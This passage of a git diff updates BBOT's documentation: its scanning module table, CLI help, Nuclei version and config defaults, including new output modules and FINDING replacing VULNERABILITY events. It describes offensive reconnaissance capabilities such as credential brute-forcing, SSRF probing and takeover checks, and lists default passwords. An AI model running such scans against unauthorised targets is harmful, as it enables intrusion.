subdomain-enum | DNS_NAME | FINDING, VULNERABILITY | @liquidsec | 2024-01-29 | -| badsecrets | scan | No | Library for detecting known or weak secrets across many web frameworks | active, safe, web-basic | HTTP_RESPONSE | FINDING, TECHNOLOGY, VULNERABILITY | @liquidsec | 2022-11-19 | +| ajaxpro | scan | No | Check for potentially vulnerable Ajaxpro instances | active, safe, web-thorough | HTTP_RESPONSE, URL | FINDING, TECHNOLOGY | @liquidsec | 2024-01-18 | +| aspnet_bin_exposure | scan | No | Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560) | active, safe, web-thorough | URL | FINDING | @liquidsec | 2025-01-28 | +| baddns | scan | No | Check hosts for domain/subdomain takeovers | active, baddns, cloud-enum, safe, subdomain-hijack, web-basic | DNS_NAME, DNS_NAME_UNRESOLVED | FINDING | @liquidsec | 2024-01-18 | +| baddns_direct | scan | No | Check for unusual subdomain / service takeover edge cases that require direct detection | active, baddns, cloud-enum, safe, subdomain-enum | STORAGE_BUCKET, URL | FINDING | @liquidsec | 2024-01-29 | +| baddns_zone | scan | No | Check hosts for DNS zone transfers and NSEC walks | active, baddns, cloud-enum, safe, subdomain-enum | DNS_NAME | FINDING | @liquidsec | 2024-01-29 | +| badsecrets | scan | No | Library for detecting known or weak secrets across many web frameworks | active, safe, web-basic | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2022-11-19 | | bucket_amazon | scan | No | Check for S3 buckets related to target | active, cloud-enum, safe, web-basic | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | | bucket_digitalocean | scan | No | Check for DigitalOcean spaces related to target | active, cloud-enum, safe, slow, web-thorough | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-08 | | bucket_firebase | scan | No | Check for open Firebase databases related to target | active, cloud-enum, safe, web-basic | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2023-03-20 | @@ -18,12 +18,12 @@ | dnsbrute | scan | No | Brute-force subdomains with massdns + static wordlist | active, aggressive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-24 | | dnsbrute_mutations | scan | No | Brute-force subdomains with massdns + target-specific mutations | active, aggressive, slow, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-25 | | dnscommonsrv | scan | No | Check for common SRV records | active, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-15 | -| dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, aggressive, web-thorough | HTTP_RESPONSE | TECHNOLOGY, VULNERABILITY | @liquidsec | 2023-11-21 | +| dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, aggressive, web-thorough | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2023-11-21 | | ffuf | scan | No | A fast web fuzzer written in Go | active, aggressive, deadly | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | | ffuf_shortnames | scan | No | Use ffuf in combination IIS shortnames | active, aggressive, iis-shortnames, web-thorough | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | | filedownload | scan | No | Download common filetypes such as PDF, DOCX, PPTX, etc. | active, download, safe, web-basic | HTTP_RESPONSE, URL_UNVERIFIED | FILESYSTEM | @TheTechromancer | 2023-10-11 | | fingerprintx | scan | No | Fingerprint exposed services like RDP, SSH, MySQL, etc. | active, safe, service-enum, slow | OPEN_TCP_PORT | PROTOCOL | @TheTechromancer | 2023-01-30 | -| generic_ssrf | scan | No | Check for generic SSRFs | active, aggressive, web-thorough | URL | VULNERABILITY | @liquidsec | 2022-07-30 | +| generic_ssrf | scan | No | Check for generic SSRFs | active, aggressive, web-thorough | URL | FINDING | @liquidsec | 2022-07-30 | | git | scan | No | Check for exposed .git repositories | active, code-enum, safe, web-basic | URL | CODE_REPOSITORY, FINDING | @TheTechromancer | 2023-05-30 | | gitlab_com | scan | No | Enumerate GitLab SaaS (gitlab.com/org) for projects and groups | active, code-enum, safe | SOCIAL | CODE_REPOSITORY | @TheTechromancer | 2024-03-11 | | gitlab_onprem | scan | No | Detect self-hosted GitLab instances and query them for repositories | active, code-enum, safe | HTTP_RESPONSE, SOCIAL, TECHNOLOGY | CODE_REPOSITORY, FINDING, SOCIAL, TECHNOLOGY | @TheTechromancer | 2024-03-11 | @@ -34,14 +34,14 @@ | hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-thorough | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | | iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, safe, web-basic | URL | URL_HINT | @liquidsec | 2022-04-15 | | legba | scan | No | Credential bruteforcing supporting various services. | active, aggressive, deadly | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | -| lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, aggressive, deadly, web-thorough | URL, WEB_PARAMETER | FINDING, VULNERABILITY | @liquidsec | 2024-06-28 | -| medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, aggressive, deadly | PROTOCOL | VULNERABILITY | @christianfl | 2025-05-16 | +| lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, aggressive, deadly, web-thorough | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | +| medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, aggressive, deadly | PROTOCOL | FINDING | @christianfl | 2025-05-16 | | newsletters | scan | No | Searches for Newsletter Submission Entry Fields on Websites | active, safe | HTTP_RESPONSE | FINDING | @stryker2k2 | 2024-02-02 | | ntlm | scan | No | Watch for HTTP endpoints that support NTLM authentication | active, safe, web-basic | HTTP_RESPONSE, URL | DNS_NAME, FINDING | @liquidsec | 2022-07-25 | -| nuclei | scan | No | Fast and customisable vulnerability scanner | active, aggressive, deadly | URL | FINDING, TECHNOLOGY, VULNERABILITY | @TheTechromancer | 2022-03-12 | +| nuclei | scan | No | Fast and customisable vulnerability scanner | active, aggressive, deadly | URL | FINDING, TECHNOLOGY | @TheTechromancer | 2022-03-12 | | oauth | scan | No | Enumerate OAUTH and OpenID Connect services | active, affiliates, cloud-enum, safe, subdomain-enum, web-basic | DNS_NAME, URL_UNVERIFIED | DNS_NAME | @TheTechromancer | 2023-07-12 | -| paramminer_cookies | scan | No | Smart brute-force to check for common HTTP cookie parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | FINDING, WEB_PARAMETER | @liquidsec | 2022-06-27 | -| paramminer_getparams | scan | No | Use smart brute-force to check for common HTTP GET parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | FINDING, WEB_PARAMETER | @liquidsec | 2022-06-28 | +| paramminer_cookies | scan | No | Smart brute-force to check for common HTTP cookie parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-27 | +| paramminer_getparams | scan | No | Use smart brute-force to check for common HTTP GET parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-28 | | paramminer_headers | scan | No | Use smart brute-force to check for common HTTP header parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-04-15 | | portscan | scan | No | Port scan with masscan. By default, scans top 100 ports. | active, portscan, safe | DNS_NAME, IP_ADDRESS, IP_RANGE | OPEN_TCP_PORT | @TheTechromancer | 2024-05-15 | | reflected_parameters | scan | No | Highlight parameters that reflect their contents in response body | active, safe, web-thorough | WEB_PARAMETER | FINDING | @liquidsec | 2024-10-29 | @@ -50,17 +50,16 @@ | securitytxt | scan | No | Check for security.txt content | active, cloud-enum, safe, subdomain-enum, web-basic | DNS_NAME | EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | | smuggler | scan | No | Check for HTTP smuggling | active, aggressive, slow, web-thorough | URL | FINDING | @liquidsec | 2022-07-06 | | sslcert | scan | No | Visit open ports and retrieve SSL certificates | active, affiliates, email-enum, safe, subdomain-enum, web-basic | OPEN_TCP_PORT | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | -| telerik | scan | No | Scan for critical Telerik vulnerabilities | active, aggressive, web-thorough | HTTP_RESPONSE, URL | FINDING, VULNERABILITY | @liquidsec | 2022-04-10 | +| telerik | scan | No | Scan for critical Telerik vulnerabilities | active, aggressive, web-thorough | HTTP_RESPONSE, URL | FINDING | @liquidsec | 2022-04-10 | | url_manipulation | scan | No | Attempt to identify URL parsing/routing based vulnerabilities | active, aggressive, web-thorough | URL | FINDING | @liquidsec | 2022-09-27 | | vhost | scan | No | Fuzz for virtual hosts | active, aggressive, deadly, slow | URL | DNS_NAME, VHOST | @liquidsec | 2022-05-02 | | wafw00f | scan | No | Web Application Firewall Fingerprinting Tool | active, aggressive | URL | WAF | @liquidsec | 2023-02-15 | -| wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, aggressive | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED, VULNERABILITY | @domwhewell-sage | 2024-05-29 | +| wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, aggressive | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED | @domwhewell-sage | 2024-05-29 | | affiliates | scan | No | Summarize affiliate domains at the end of a scan | affiliates, passive, safe | * | | @TheTechromancer | 2022-07-25 | | anubisdb | scan | No | Query jldc.me's database for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | | apkpure | scan | No | Download android applications from apkpure.com | code-enum, download, passive, safe | MOBILE_APP | FILESYSTEM | @domwhewell-sage | 2024-10-11 | | asn | scan | No | Query ripe and bgpview.io for ASNs | passive, safe, subdomain-enum | IP_ADDRESS | ASN | @TheTechromancer | 2022-07-25 | -| azure_realm | scan | No | Retrieves the "AuthURL" from login.microsoftonline.com/getuserrealm | affiliates, cloud-enum, passive, safe, subdomain-enum, web-basic | DNS_NAME | URL_UNVERIFIED | @TheTechromancer | 2023-07-12 | -| azure_tenant | scan | No | Query Azure via azmap.dev for tenant sister domains | affiliates, cloud-enum, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-07-04 | +| azure_tenant | scan | No | Query Azure for tenant information using multiple enumeration methods | affiliates, cloud-enum, passive, safe, subdomain-enum | DNS_NAME | AZURE_TENANT, DNS_NAME, FINDING, URL_UNVERIFIED | @TheTechromancer | 2024-07-04 | | bevigil | scan | Yes | Retrieve OSINT data from mobile applications using BeVigil | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @alt-glitch | 2022-10-26 | | bucket_file_enum | scan | No | Works in conjunction with the filedownload module to download files from open storage buckets. Currently supported cloud providers: AWS, DigitalOcean | cloud-enum, passive, safe | STORAGE_BUCKET | URL_UNVERIFIED | @TheTechromancer | 2023-11-14 | | bufferoverrun | scan | Yes | Query BufferOverrun's TLS API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-10-23 | @@ -109,29 +108,34 @@ | rapiddns | scan | No | Query rapiddns.io for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | | securitytrails | scan | Yes | Query the SecurityTrails API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | | shodan_dns | scan | Yes | Query Shodan for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | -| shodan_idb | scan | No | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities | passive, portscan, safe, subdomain-enum | DNS_NAME, IP_ADDRESS | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY, VULNERABILITY | @TheTechromancer | 2023-12-22 | +| shodan_idb | scan | No | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities | passive, portscan, safe, subdomain-enum | DNS_NAME, IP_ADDRESS | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY | @TheTechromancer | 2023-12-22 | | sitedossier | scan | No | Query sitedossier.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-08-04 | | skymem | scan | No | Query skymem.info for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | | social | scan | No | Look for social media links in webpages | passive, safe, social-enum | URL_UNVERIFIED | SOCIAL | @TheTechromancer | 2023-03-28 | | subdomaincenter | scan | No | Query subdomain.center's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-26 | | subdomainradar | scan | Yes | Query the Subdomain API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-08 | | trickest | scan | Yes | Query Trickest's API for subdomains | affiliates, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @amiremami | 2024-07-27 | -| trufflehog | scan | No | TruffleHog is a tool for finding credentials | code-enum, passive, safe | CODE_REPOSITORY, FILESYSTEM, HTTP_RESPONSE, RAW_TEXT | FINDING, VULNERABILITY | @domwhewell-sage | 2024-03-12 | +| trufflehog | scan | No | TruffleHog is a tool for finding credentials | code-enum, passive, safe | CODE_REPOSITORY, FILESYSTEM, HTTP_RESPONSE, RAW_TEXT | FINDING | @domwhewell-sage | 2024-03-12 | | urlscan | scan | No | Query urlscan.io for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @TheTechromancer | 2022-06-09 | | viewdns | scan | No | Query viewdns.info's reverse whois for related domains | affiliates, passive, safe | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-04 | | virustotal | scan | Yes | Query VirusTotal's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-25 | | wayback | scan | No | Query archive.org's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @liquidsec | 2022-04-01 | -| asset_inventory | output | No | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV | | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, VULNERABILITY, WAF | IP_ADDRESS, OPEN_TCP_PORT | @liquidsec | 2022-09-30 | +| asset_inventory | output | No | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV | | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, WAF | IP_ADDRESS, OPEN_TCP_PORT | @liquidsec | 2022-09-30 | | csv | output | No | Output to CSV | | * | | @TheTechromancer | 2022-04-07 | | discord | output | No | Message a Discord channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | +| elastic | output | No | Send scan results to Elasticsearch | | * | | @TheTechromancer | 2022-11-21 | | emails | output | No | Output any email addresses found belonging to the target domain | email-enum | EMAIL_ADDRESS | | @domwhewell-sage | 2023-12-23 | | http | output | No | Send every event to a custom URL via a web request | | * | | @TheTechromancer | 2022-04-13 | | json | output | No | Output to Newline-Delimited JSON (NDJSON) | | * | | @TheTechromancer | 2022-04-07 | +| kafka | output | No | Output scan data to a Kafka topic | | * | | @TheTechromancer | 2024-11-22 | +| mongo | output | No | Output scan data to a MongoDB database | | * | | @TheTechromancer | 2024-11-17 | | mysql | output | No | Output scan data to a MySQL database | | * | | @TheTechromancer | 2024-11-13 | +| nats | output | No | Output scan data to a NATS subject | | * | | @TheTechromancer | 2024-11-22 | | neo4j | output | No | Output to Neo4j | | * | | @TheTechromancer | 2022-04-07 | | nmap_xml | output | No | Output to Nmap XML | | DNS_NAME, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, PROTOCOL | | @TheTechromancer | 2024-11-16 | | postgres | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-08 | | python | output | No | Output via Python API | | * | | @TheTechromancer | 2022-09-13 | +| rabbitmq | output | No | Output scan data to a RabbitMQ queue | | * | | @TheTechromancer | 2024-11-22 | | slack | output | No | Message a Slack channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | | splunk | output | No | Send every event to a splunk instance through HTTP Event Collector | | * | | @w0Tx | 2024-02-17 | | sqlite | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-07 | @@ -140,8 +144,9 @@ | teams | output | No | Message a Teams channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | | txt | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | | web_parameters | output | No | Output WEB_PARAMETER names to a file | | WEB_PARAMETER | | @liquidsec | 2025-01-25 | -| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL, VHOST, VULNERABILITY | | @liquidsec | 2023-02-08 | +| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL, VHOST | | @liquidsec | 2023-02-08 | | websocket | output | No | Output to websockets | | * | | @TheTechromancer | 2022-04-15 | +| zeromq | output | No | Output scan data to a ZeroMQ socket (PUB) | | * | | @TheTechromancer | 2024-11-22 | | cloudcheck | internal | No | Tag events by cloud provider, identify cloud resources like storage buckets | | * | | @TheTechromancer | 2024-07-07 | | dnsresolve | internal | No | Perform DNS resolution | | * | DNS_NAME, IP_ADDRESS, RAW_DNS_RECORD | @TheTechromancer | 2022-04-08 | | aggregate | internal | No | Summarize statistics at the end of a scan | passive, safe | | | @TheTechromancer | 2022-07-25 | diff --git a/docs/modules/nuclei.md b/docs/modules/nuclei.md index 1931849193..3858096d78 100644 --- a/docs/modules/nuclei.md +++ b/docs/modules/nuclei.md @@ -52,7 +52,7 @@ The Nuclei module has many configuration options: | modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | | modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | | modules.nuclei.templates | str | template or template directory paths to include in the scan | | -| modules.nuclei.version | str | nuclei version | 3.6.2 | +| modules.nuclei.version | str | nuclei version | 3.7.0 | <!-- END BBOT MODULE OPTIONS NUCLEI --> Most of these you probably will **NOT** want to change. In particular, we advise against changing the version of Nuclei, as it's possible the latest version won't work right with BBOT. diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 6562a5ca69..95bfb7a9dc 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -32,21 +32,12 @@ if __name__ == "__main__": <!-- BBOT HELP OUTPUT --> ```text -usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]] - [-b BLACKLIST [BLACKLIST ...]] [--strict-scope] - [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] - [-m MODULE [MODULE ...]] [-l] [-lmo] [-em MODULE [MODULE ...]] - [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] - [-ef FLAG [FLAG ...]] [--allow-deadly] [-n SCAN_NAME] [-v] [-d] - [-s] [--force] [-y] [--fast-mode] [--dry-run] - [--current-preset] [--current-preset-full] [-mh MODULE] - [-o DIR] [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] - [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn] - [--no-deps | --force-deps | --retry-deps | - --ignore-failed-deps | --install-all-deps] [--version] - [--proxy HTTP_PROXY] [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] - [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]] - [--custom-yara-rules CUSTOM_YARA_RULES] +usage: bbot [-h] [-t TARGET [TARGET ...]] [-s SEEDS [SEEDS ...]] [-b BLACKLIST [BLACKLIST ...]] [--strict-scope] [-p [PRESET ...]] [-c [CONFIG ...]] + [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo] [-em MODULE [MODULE ...]] [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]] + [--allow-deadly] [-n SCAN_NAME] [-v] [-d] [-S] [--force] [-y] [--fast-mode] [--dry-run] [--current-preset] [--current-preset-full] + [-mh MODULE] [-o DIR] [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn] + [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] [--version] [--proxy HTTP_PROXY] + [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]] [--custom-yara-rules CUSTOM_YARA_RULES] [--user-agent USER_AGENT] Bighuge BLS OSINT Tool @@ -56,12 +47,12 @@ options: Target: -t, --targets TARGET [TARGET ...] - Target scope (defines what is in-scope) + Target scope -s, --seeds SEEDS [SEEDS ...] Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets) -b, --blacklist BLACKLIST [BLACKLIST ...] Don't touch these things - --strict-scope Don't consider subdomains of targets to be in-scope + --strict-scope Don't consider subdomains of target to be in-scope - exact matches only Presets: -p, --preset [PRESET ...] @@ -72,7 +63,7 @@ Presets: Modules: -m, --modules MODULE [MODULE ...] - Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_realm,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,extractous,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trickest,trufflehog,url_manipulation,urlscan,vhost,viewdns,virustotal,wafw00f,wayback,wpscan + Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,extractous,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trickest,trufflehog,url_manipulation,urlscan,vhost,viewdns,virustotal,wafw00f,wayback,wpscan -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options @@ -91,7 +82,7 @@ Scan: -n, --name SCAN_NAME Name of scan (default: random) -v, --verbose Be more verbose -d, --debug Enable debugging - -s, --silent Be quiet + -S, --silent Be quiet --force Run scan even in the case of condition violations or failed module setups -y, --yes Skip scan confirmation prompt --fast-mode Scan only the provided targets as fast as possible, with no extra discovery @@ -105,7 +96,7 @@ Scan: Output: -o, --output-dir DIR Directory to output scan results -om, --output-modules MODULE [MODULE ...] - Output module(s). Choices: asset_inventory,csv,discord,emails,http,json,mysql,neo4j,nmap_xml,postgres,python,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,websocket + Output module(s). Choices: asset_inventory,csv,discord,elastic,emails,http,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,python,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,websocket,zeromq -lo, --list-output-modules List available output modules --json, -j Output scan data in JSON format diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 78d7454d54..228dbd5edc 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -59,6 +59,15 @@ Below is a full list of the config options supported, along with their defaults. ```yaml title="defaults.yml" ### BASIC OPTIONS ### +# NOTE: If used in a preset, these options must be nested underneath "config:" like so: +# config: +# home: ~/.bbot +# keep_scans: 20 +# scope: +# strict: true +# dns: +# minimal: true + # BBOT working directory home: ~/.bbot # How many scan results to keep before cleaning up the older ones @@ -74,7 +83,7 @@ folder_blobs: false scope: # strict scope means only exact DNS names are considered in-scope - # subdomains are not included unless they are explicitly provided in the target list + # their subdomains are not included unless explicitly whitelisted strict: false # Filter by scope distance which events are displayed in the output # 0 == show only in-scope events (affiliates are always shown) @@ -87,7 +96,7 @@ scope: ### DNS ### dns: - # Completely disable DNS resolution (careful if you are using IP-based targets/blacklists, consider using minimal=true instead) + # Completely disable DNS resolution (careful if you have IP whitelists/blacklists, consider using minimal=true instead) disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false @@ -451,7 +460,7 @@ In addition to the stated options for each module, the following universal optio | modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | | modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | | modules.nuclei.templates | str | template or template directory paths to include in the scan | | -| modules.nuclei.version | str | nuclei version | 3.6.2 | +| modules.nuclei.version | str | nuclei version | 3.7.0 | | modules.oauth.try_all | bool | Check for OAUTH/IODC on every subdomain and URL. | False | | modules.paramminer_cookies.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | | modules.paramminer_cookies.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | @@ -581,25 +590,37 @@ In addition to the stated options for each module, the following universal optio | modules.asset_inventory.summary_netmask | int | Subnet mask to use when summarizing IP addresses at end of scan | 16 | | modules.asset_inventory.use_previous | bool |` Emit previous asset inventory as new events (use in conjunction with -n <old_scan_name>) `| False | | modules.csv.output_file | str | Output to CSV file | | -| modules.discord.event_types | list | Types of events to send | ['VULNERABILITY', 'FINDING'] | -| modules.discord.min_severity | str | Only allow VULNERABILITY events of this severity or higher | LOW | +| modules.discord.event_types | list | Types of events to send | ['FINDING'] | +| modules.discord.min_severity | str | Only allow FINDING events of this severity or higher | LOW | | modules.discord.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.discord.webhook_url | str | Discord webhook URL | | +| modules.elastic.password | str | Elastic password | bbotislife | +| modules.elastic.timeout | int | HTTP timeout | 10 | +| modules.elastic.url | str |` Elastic URL (e.g. https://localhost:9200/<your_index>/_doc) `| https://localhost:9200/bbot_events/_doc | +| modules.elastic.username | str | Elastic username | elastic | | modules.emails.output_file | str | Output to file | | | modules.http.bearer | str | Authorization Bearer token | | +| modules.http.headers | dict | Additional headers to send with the request | {} | | modules.http.method | str | HTTP method | POST | | modules.http.password | str | Password (basic auth) | | -| modules.http.siem_friendly | bool | Format JSON in a SIEM-friendly way for ingestion into Elastic, Splunk, etc. | False | | modules.http.timeout | int | HTTP timeout | 10 | | modules.http.url | str | Web URL | | | modules.http.username | str | Username (basic auth) | | | modules.json.output_file | str | Output to file | | -| modules.json.siem_friendly | bool | Output JSON in a SIEM-friendly format for ingestion into Elastic, Splunk, etc. | False | +| modules.kafka.bootstrap_servers | str | A comma-separated list of Kafka server addresses | localhost:9092 | +| modules.kafka.topic | str | The Kafka topic to publish events to | bbot_events | +| modules.mongo.collection_prefix | str | Prefix the name of each collection with this string | | +| modules.mongo.database | str | The name of the database to use | bbot | +| modules.mongo.password | str | The password to use to connect to the database | | +| modules.mongo.uri | str | The URI of the MongoDB server | mongodb://localhost:27017 | +| modules.mongo.username | str | The username to use to connect to the database | | | modules.mysql.database | str | The database name to connect to | bbot | | modules.mysql.host | str | The server running MySQL | localhost | | modules.mysql.password | str | The password to connect to MySQL | bbotislife | | modules.mysql.port | int | The port to connect to MySQL | 3306 | | modules.mysql.username | str | The username to connect to MySQL | root | +| modules.nats.servers | list | A list of NATS server addresses | [] | +| modules.nats.subject | str | The NATS subject to publish events to | bbot_events | | modules.neo4j.password | str | Neo4j password | bbotislife | | modules.neo4j.uri | str | Neo4j server + port | bolt://localhost:7687 | | modules.neo4j.username | str | Neo4j username | neo4j | @@ -608,8 +629,10 @@ In addition to the stated options for each module, the following universal optio | modules.postgres.password | str | The password to connect to Postgres | bbotislife | | modules.postgres.port | int | The port to connect to Postgres | 5432 | | 